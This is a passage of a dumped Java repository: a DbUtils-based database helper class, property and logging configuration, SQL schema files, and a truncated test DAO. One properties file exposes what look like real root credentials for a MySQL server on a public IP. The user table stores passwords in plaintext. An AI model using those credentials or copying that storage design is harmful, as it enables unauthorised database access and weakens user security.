BasicDataSource();\n\t\t\t\tdbcpDataSource.setUrl(config.getProperty(\"jdbc.url\"));\n\t\t\t\tdbcpDataSource.setDriverClassName(config.getProperty(\"jdbc.driver\"));\n\t\t\t\tdbcpDataSource.setUsername(config.getProperty(\"jdbc.username\"));\n\t\t\t\tdbcpDataSource.setPassword(config.getProperty(\"jdbc.password\"));\n\t\t\t\tdbcpDataSource.setDefaultAutoCommit(Boolean.parseBoolean(config.getProperty(\"dbcp.defaultAutoCommit\")));\n//\t\t\t\tdbcpDataSource.setMaxActive(Integer.parseInt(config.getProperty(\"dbcp.maxActive\")));\n\t\t\t\tdbcpDataSource.setMaxIdle(Integer.parseInt(config.getProperty(\"dbcp.maxIdle\")));\n//\t\t\t\tdbcpDataSource.setMaxWait(Integer.parseInt(config.getProperty(\"dbcp.maxActive\")));\n\t\t\t\tDbBuilder.dataSource = (DataSource) dbcpDataSource;\n\t\t\t\tlogger.info(\"dbcp数据源初始化成功!\");\n\t\t\t} catch (Exception ex) {\n\t\t\t\tlogger.info(\"dbcp数据源初始化失败:\" + ex.getMessage());\n\t\t\t}\n\t\t}\n\t\treturn DbBuilder.dataSource;\n\t}\n\n\tpublic static Connection getConnection() {\n\t\ttry {\n\t\t\tDataSource dataSource = DbBuilder.getDataSource();\n\t\t\treturn dataSource.getConnection();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static void close(Connection connection) {\n\t\ttry {\n\t\t\tif (connection != null)\n\t\t\t\tconnection.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static QueryRunner getQueryRunner() {\n\t\treturn new QueryRunner(DbBuilder.getDataSource());\n\t}\n\t\n\t/**\n\t * 得到查询记录的条数\n\t * \n\t * @param sql\n\t *            必须为select count(*) from t_user的格式\n\t * @return\n\t */\n\tpublic static int getCount(String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\tObject value = runner.query(sql, new ScalarHandler<Object>());\n\t\t\treturn CommonUtil.objectToInteger(value);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 得到查询记录的条数\n\t * \n\t * @param sql\n\t *            必须为select count(*) from t_user的格式\n\t * @return\n\t */\n\tpublic static int getCount(Connection connection, String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\tObject value = runner.query(connection, sql, new ScalarHandler<Object>());\n\t\t\treturn CommonUtil.objectToInteger(value);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 得到查询记录的条数\n\t * \n\t * @param sql\n\t *            必须为select count(*) from t_user的格式\n\t * @param params\n\t * @return\n\t */\n\tpublic static int getCount(String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\tObject value = runner.query(sql, new ScalarHandler<Object>(), params);\n\t\t\treturn CommonUtil.objectToInteger(value);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 得到查询记录的条数\n\t * \n\t * @param sql\n\t *            必须为select count(*) from t_user的格式\n\t * @param params\n\t * @return\n\t */\n\tpublic static int getCount(Connection connection, String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\tObject value = runner.query(connection, sql, new ScalarHandler<Object>(), params);\n\t\t\treturn CommonUtil.objectToInteger(value);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 根据传入的sql，查询记录，以数组形式返回第一行记录。 注意：如果有多行记录，只会返回第一行，所以适用场景需要注意，可以使用根据主键来查询的场景\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic static Object[] getFirstRowArray(String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new ArrayHandler());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql，查询记录，以数组形式返回第一行记录。 注意：如果有多行记录，只会返回第一行，所以适用场景需要注意，可以使用根据主键来查询的场景\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic static Object[] getFirstRowArray(Connection connection, String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new ArrayHandler());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql，查询记录，以数组形式返回第一行记录。 注意：如果有多行记录，只会返回第一行，所以适用场景需要注意，可以使用根据主键来查询的场景\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static Object[] getFirstRowArray(String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new ArrayHandler(), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql，查询记录，以数组形式返回第一行记录。 注意：如果有多行记录，只会返回第一行，所以适用场景需要注意，可以使用根据主键来查询的场景\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static Object[] getFirstRowArray(Connection connection, String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new ArrayHandler(), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql查询返回所有记录，以List数组形式返回\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic static List<Object[]> getListArray(String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new ArrayListHandler());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql查询返回所有记录，以List数组形式返回\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic static List<Object[]> getListArray(Connection connection, String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new ArrayListHandler());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql查询返回所有记录，以List数组形式返回\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static List<Object[]> getListArray(String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new ArrayListHandler(), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql查询返回所有记录，以List数组形式返回\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static List<Object[]> getListArray(Connection connection, String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new ArrayListHandler(), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql，查询记录，以Map形式返回第一行记录。 注意：如果有多行记录，只会返回第一行，所以适用场景需要注意，可以使用根据主键来查询的场景\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic static Map<String, Object> getFirstRowMap(String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new MapHandler());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql，查询记录，以Map形式返回第一行记录。 注意：如果有多行记录，只会返回第一行，所以适用场景需要注意，可以使用根据主键来查询的场景\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic static Map<String, Object> getFirstRowMap(Connection connection, String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new MapHandler());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql，查询记录，以Map形式返回第一行记录。 注意：如果有多行记录，只会返回第一行，所以适用场景需要注意，可以使用根据主键来查询的场景\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static Map<String, Object> getFirstRowMap(String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new MapHandler(), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql，查询记录，以Map形式返回第一行记录。 注意：如果有多行记录，只会返回第一行，所以适用场景需要注意，可以使用根据主键来查询的场景\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static Map<String, Object> getFirstRowMap(Connection connection, String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new MapHandler(), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql查询所有记录，以List Map形式返回\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic static List<Map<String, Object>> getListMap(String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new MapListHandler());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql查询所有记录，以List Map形式返回\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic static List<Map<String, Object>> getListMap(Connection connection, String sql) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new MapListHandler());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql查询所有记录，以List Map形式返回\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static List<Map<String, Object>> getListMap(String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new MapListHandler(), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据传入的sql查询所有记录，以List Map形式返回\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static List<Map<String, Object>> getListMap(Connection connection, String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new MapListHandler(), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql和对象，查询结果并以对象形式返回\n\t * \n\t * @param sql\n\t * @param type\n\t * @return\n\t */\n\tpublic static <T> T getBean(String sql, Class<T> type) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new BeanHandler<T>(type));\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql和对象，查询结果并以对象形式返回\n\t * \n\t * @param sql\n\t * @param type\n\t * @return\n\t */\n\tpublic static <T> T getBean(Connection connection, String sql, Class<T> type) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new BeanHandler<T>(type));\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql和对象，查询结果并以对象形式返回\n\t * \n\t * @param sql\n\t * @param type\n\t * @param params\n\t * @return\n\t */\n\tpublic static <T> T getBean(String sql, Class<T> type, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new BeanHandler<T>(type), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql和对象，查询结果并以对象形式返回\n\t * \n\t * @param sql\n\t * @param type\n\t * @param params\n\t * @return\n\t */\n\tpublic static <T> T getBean(Connection connection, String sql, Class<T> type, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new BeanHandler<T>(type), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql查询list对象\n\t * \n\t * @param sql\n\t * @param type\n\t * @return\n\t */\n\tpublic static <T> List<T> getListBean(String sql, Class<T> type) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new BeanListHandler<T>(type));\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql查询list对象\n\t * \n\t * @param sql\n\t * @param type\n\t * @return\n\t */\n\tpublic static <T> List<T> getListBean(Connection connection, String sql, Class<T> type) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new BeanListHandler<T>(type));\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql查询list对象\n\t * \n\t * @param sql\n\t * @param type\n\t * @param params\n\t * @return\n\t */\n\tpublic static <T> List<T> getListBean(String sql, Class<T> type, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.query(sql, new BeanListHandler<T>(type), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据sql查询list对象\n\t * \n\t * @param sql\n\t * @param type\n\t * @param params\n\t * @return\n\t */\n\tpublic static <T> List<T> getListBean(Connection connection, String sql, Class<T> type, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.query(connection, sql, new BeanListHandler<T>(type), params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 保存操作\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static int save(String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.update(sql, params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 保存操作\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static int save(Connection connection, String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.update(connection, sql, params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 更新操作\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static int update(String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.update(sql, params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 更新操作\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static int update(Connection connection, String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.update(connection, sql, params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 删除操作\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static int delete(String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.update(sql, params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 删除操作\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static int delete(Connection connection, String sql, Object... params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.update(connection, sql, params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 批量操作，包括批量保存、修改、删除\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static int[] batch(String sql, Object[][] params) {\n\t\ttry {\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\treturn runner.batch(sql, params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 批量操作，包括批量保存、修改、删除\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static int[] batch(Connection connection, String sql, Object[][] params) {\n\t\ttry {\n\t\t\tQueryRunner runner = new QueryRunner();\n\t\t\treturn runner.batch(connection, sql, params);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 开启事务\n\t */\n\tpublic static void beginTransaction(Connection conn) {\n\t\ttry {\n\t\t\t// 开启事务\n\t\t\tconn.setAutoCommit(false);\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t/**\n\t * 回滚事务\n\t */\n\tpublic static void rollback(Connection conn) {\n\t\ttry {\n\t\t\tconn.rollback();\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t/**\n\t * 提交事务\n\t */\n\tpublic static void commit(Connection conn) {\n\t\ttry {\n\t\t\tconn.commit();\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t//DBUtil\n\n\t/**\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static Connection getCon()throws Exception{\n\t\tString dbUrl=\"jdbc:mysql://localhost:3306/test\";\n\t\tString dbUserName=\"root\";\n\t\tString dbPassword=\"123456\";\n\t\tString jdbcName=\"com.mysql.jdbc.Driver\";\n\t\tClass.forName(jdbcName);\n\t\tConnection con=DriverManager.getConnection(dbUrl, dbUserName, dbPassword);\n\t\treturn con;\n\t}\n\t\n\t/**\n\t * @param con\n\t * @throws Exception\n\t */\n\tpublic void close(Statement stmt,Connection con)throws Exception{\n\t\tif(stmt!=null){\n\t\t\tstmt.close();\n\t\t\tif(con!=null){\n\t\t\t\tcon.close();\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * @param con\n\t * @throws Exception\n\t */\n\tpublic void close(PreparedStatement pstmt,Connection con)throws Exception{\n\t\tif(pstmt!=null){\n\t\t\tpstmt.close();\n\t\t\tif(con!=null){\n\t\t\t\tcon.close();\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * @param con\n\t * @throws Exception\n\t */\n\tpublic void close(CallableStatement cstmt,Connection con)throws Exception{\n\t\tif(cstmt!=null){\n\t\t\tcstmt.close();\n\t\t\tif(con!=null){\n\t\t\t\tcon.close();\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/utils/PropertiesConfig.java",
    "content": "package com.jun.plugin.dbutils.utils;\n\nimport java.io.InputStream;\nimport java.util.HashMap;\nimport java.util.Properties;\n\n/**\n * 读取*.properties配置文件\n */\npublic class PropertiesConfig {\n\n\t// 配置文件的map key:propertiesName value:PropertiesUtil对象\n\tprivate static HashMap<String, PropertiesConfig> propertiesMap = new HashMap<String, PropertiesConfig>();\n\n\t// 属性文件\n\tprivate Properties properties;\n\n\tprivate PropertiesConfig() {\n\n\t}\n\t\n\t/**\n\t * jdbc配置文件\n\t * @return\n\t */\n\tpublic static PropertiesConfig getApplicationConfig() {\n\t\treturn PropertiesConfig.getInstance(\"/jdbc.properties\");\n\t}\n\n\tpublic static void TestProperties(String[] args) {\n\t\tPropertiesConfig config = PropertiesConfig.getApplicationConfig();\n\t\tSystem.out.println(config.getProperty(\"jdbc.url\"));\n\t}\n\t\n\tpublic synchronized static PropertiesConfig getInstance(String propertiesName) {\n\n\t\tPropertiesConfig configUtil = propertiesMap.get(propertiesName);\n\n\t\tif (configUtil == null) {\n\t\t\tconfigUtil = new PropertiesConfig();\n\t\t\tconfigUtil.analysisXml(propertiesName);\n\t\t\tpropertiesMap.put(propertiesName, configUtil);\n\t\t}\n\n\t\treturn configUtil;\n\t}\n\n\tprivate void analysisXml(String propertiesName) {\n\t\tInputStream ins = getClass().getResourceAsStream(propertiesName);\n\t\tproperties = new Properties();\n\t\ttry {\n\t\t\tproperties.load(ins);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic String getProperty(String key) {\n\t\treturn properties.getProperty(key);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/resources/application.properties",
    "content": "#mysql database setting\njdbc.driver=com.mysql.jdbc.Driver\njdbc.url=jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8\njdbc.username=root\njdbc.password=123456\n\n#dbcp settings\ndbcp.maxIdle=2\ndbcp.maxActive=5\ndhcp.maxActive=10\ndbcp.defaultAutoCommit=true"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/resources/dbcp.properties",
    "content": "jdbc.driverClassName=com.mysql.jdbc.Driver\njdbc.url=jdbc:MySQL://47.98.129.217:3306/summary\njdbc.username=root\njdbc.password=klguang@mysql\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/resources/jdbc.properties",
    "content": "#mysql database setting\njdbc.driver=com.mysql.jdbc.Driver\njdbc.url=jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8\njdbc.username=root\njdbc.password=123456\n\n#dbcp settings\ndbcp.maxIdle=2\ndbcp.maxActive=5\ndhcp.maxActive=10\ndbcp.defaultAutoCommit=true\n\ndriver=com.mysql.jdbc.Driver\nurl=jdbc:mysql://localhost:3306/test\nusername=root\npassword=mysqladmin"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/resources/log4j.properties",
    "content": "#debug < info < warn < error < fatal\nlog4j.rootLogger=debug,Console\n\nlog4j.appender.Console=org.apache.log4j.ConsoleAppender\nlog4j.appender.Console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.Console.layout.ConversionPattern=%d %-5p %c(%L) %n\\u4FE1\\u606F\\: %m%n\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/resources/log4j.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE log4j:configuration PUBLIC \"-//LOGGER\" \"log4j.dtd\">\n\n<log4j:configuration xmlns:log4j=\"http://jakarta.apache.org/log4j/\">\n\n\t<!-- Appenders -->\n\t<appender name=\"consolep\" class=\"org.apache.log4j.ConsoleAppender\">\n\t\t<param name=\"Threshold\" value=\"info\" />\n\t\t<layout class=\"org.apache.log4j.PatternLayout\">\n\t\t\t<param name=\"ConversionPattern\" value=\"[%-d{yyyy-MM-dd HH:mm:ss}] %F:%L[%p] %m%n\" />\n\t\t</layout>\n\t</appender>\n\t\n\t<appender name=\"appender.dbutil_log\" class=\"org.apache.log4j.FileAppender\">\n\t\t<param name=\"File\" value=\"dbutil_log.log\" />\n\t\t<param name=\"Append\" value=\"true\" />\n\t\t<param name=\"encoding\" value=\"UTF-8\" />\n\t\t<layout class=\"org.apache.log4j.PatternLayout\">\n\t\t\t<param name=\"ConversionPattern\"\n\t\t\t\tvalue=\"%-d{yyyy-MM-dd HH:mm:ss} [%c]-[%p] %m%n\" />\n\t\t</layout>\n\t</appender>\n\n\t<logger name=\"dbutil_log\" additivity=\"true\">\n\t\t<level value=\"info\" />\n\t\t<appender-ref ref=\"appender.dbutil_log\" />\n\t\t<appender-ref ref=\"consolep\" />\n\t</logger>\n</log4j:configuration>"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/resources/t_account.sql",
    "content": "/*\r\nSQLyog 企业版 - MySQL GUI v8.14 \r\nMySQL - 5.1.49-community : Database - db_bank\r\n*********************************************************************\r\n*/\r\r\n\r\n/*!40101 SET NAMES utf8 */;\r\n\r\n/*!40101 SET SQL_MODE=''*/;\r\n\r\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\r\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\r\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\r\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\r\nCREATE DATABASE /*!32312 IF NOT EXISTS*/`db_bank` /*!40100 DEFAULT CHARACTER SET utf8 */;\r\n\r\nUSE `db_bank`;\r\n\r\n/*Table structure for table `t_account` */\r\n\r\nDROP TABLE IF EXISTS `t_account`;\r\n\r\nCREATE TABLE `t_account` (\r\n  `id` int(11) NOT NULL AUTO_INCREMENT,\r\n  `accountName` varchar(20) DEFAULT NULL,\r\n  `accountBalance` int(11) DEFAULT NULL,\r\n  PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;\r\n\r\n/*Data for the table `t_account` */\r\n\r\ninsert  into `t_account`(`id`,`accountName`,`accountBalance`) values (1,'张三',500),(2,'李四',1000);\r\n\r\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\r\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\r\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\r\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\r\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/resources/t_user.sql",
    "content": "DROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user` (\n  `id` int(11) NOT NULL AUTO_INCREMENT,\n  `username` varchar(50) DEFAULT NULL,\n  `password` varchar(50) DEFAULT NULL,\n  `inserttime` timestamp NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; "
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/AccountDao.java",
    "content": "\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.sql.Savepoint;\n\nimport com.jun.plugin.dbutils.utils.DbBuilder;\n\npublic class AccountDao {\n\t\n//\tprivate static DbBuilder dbUtil=new DbBuilder();\n\n\t/**\n\t * @param con\n\t * @param accountName\n\t * @param account\n\t * @throws Exception\n\t */\n\tprivate static void outCount(Connection con,String accountName,int account)throws Exception{\n\t\tString sql=\"update t_account set accountBalance=accountBalance-? where accountName=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, account);\n\t\tpstmt.setString(2, accountName);\n\t\tpstmt.executeUpdate();\n\t}\n\t\n\t/**\n\t * @param con\n\t * @param accountName\n\t * @param account\n\t * @throws Exception\n\t */\n\tprivate static void inCount(Connection con,String accountName,int account)throws Exception{\n\t\tString 